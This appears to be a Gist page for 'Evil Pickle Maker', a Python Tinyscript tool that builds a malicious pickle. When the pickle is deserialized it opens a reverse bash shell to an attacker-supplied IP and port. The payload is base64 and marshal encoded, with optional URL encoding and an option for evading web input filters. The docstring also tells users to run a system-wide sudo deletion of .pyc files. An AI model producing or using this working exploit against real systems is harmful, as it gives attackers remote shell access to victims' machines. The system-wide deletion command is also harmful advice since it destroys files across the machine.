This is a Tinyscript wrapper for this Gist, working with Python 2 and 3.
$ pip install tinyscript
$ tsm install evil-pickle-maker
$ evil-pickle-maker 1.2.3.4 12345
This is a Tinyscript wrapper for this Gist, working with Python 2 and 3.
$ pip install tinyscript
$ tsm install evil-pickle-maker
$ evil-pickle-maker 1.2.3.4 12345
#!/usr/bin/env python | |
import marshal | |
from tinyscript import * | |
__author__ = "Alexandre D'Hondt" | |
__version__ = "1.1" | |
__copyright__ = ("A. D'Hondt", 2020) | |
__license__ = "gpl-3.0" | |
__examples__ = ["1.2.3.4 12345 > evil.pickle"] | |
__reference__ = "https://gist.githubusercontent.com/BGrewell/ba619281070cc6185d81e32791a2289e/raw/" \ | |
"fb63ce7aec76b2bf3313cae0333d1603d183550b/rotten_pickle.py" | |
__doc__ = """ | |
*Evil Pickle Maker* is a Tinyscript wrapper for the aforementioned Gist. | |
This script creates a reverse shell that will be executed when the python pickle package attempts to unpickle it. | |
It can pickle any python code and execute it on the target when it is unpickled as long as the target has whatever | |
modules you try to import. This code base64 encodes the python code so that it can be passed around as ASCII/Unicode | |
text. It optionally URL encodes it so that it can be submitted through webforms ect. | |
Important note: With Python3, you could experience the following error: "ValueError: bad marshal data (unknown type code)" | |
In this case, execute "sudo find / -name '*.pyc' -delete" to remove all pre-compiled Python files and retry. | |
""" | |
SCRIPTNAME_FORMAT = "none" | |
# This is the main skeleton for building our payloads. It will be modified to include our custom function(s) in the | |
# wrapper below. Do not modify this unless you know what you are doing. | |
SKELETON = """ctypes | |
FunctionType | |
(cmarshal | |
loads | |
(cbase64 | |
b64decode | |
(S'{0}' | |
tRtRc__builtin__ | |
globals | |
(tRS'' | |
tR(tR.{1} | |
""" | |
PAYLOAD = """ | |
def wrapper(): | |
import socket,subprocess,os | |
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect(("{}", {})) | |
os.dup2(s.fileno(), 0) | |
os.dup2(s.fileno(), 1) | |
os.dup2(s.fileno(), 2) | |
p=subprocess.call(["/bin/bash", "-i"]) | |
""" | |
if __name__ == '__main__': | |
parser.add_argument("ip", type=ts.ip_address, help="attacker's IP address") | |
parser.add_argument("port", type=ts.port_number, help="attacker's port number") | |
parser.add_argument("-a", "--append", default="", help="custom text (or instructions) to include", | |
note="this can be useful for bypassing filtering on web inputs") | |
parser.add_argument("-l", "--line-endings", default="\n", help="characters to use for line endings", | |
note="if these don't match the target you can get weird import errors") | |
parser.add_argument("-u", "--url-encode", action="store_true", help="URL encode the resulting payload") | |
initialize() | |
exec(PAYLOAD.format(args.ip, args.port)) | |
payload = ensure_str(base64.b64encode(marshal.dumps(wrapper.__code__ if PYTHON3 else wrapper.func_code))) | |
logger.debug("Payload:\n" + payload) | |
rotten_pickle = SKELETON.format(payload, args.append).strip() | |
if "\r" in args.line_endings: | |
rotten_pickle = rotten_pickle.replace("\n", "\r\n") | |
if "\n" not in args.line_endings: | |
rotten_pickle = rotten_pickle.replace("\n", "") | |
if args.url_encode: | |
rotten_pickle = codecs.encode(rotten_pickle, "url") | |
print(rotten_pickle) |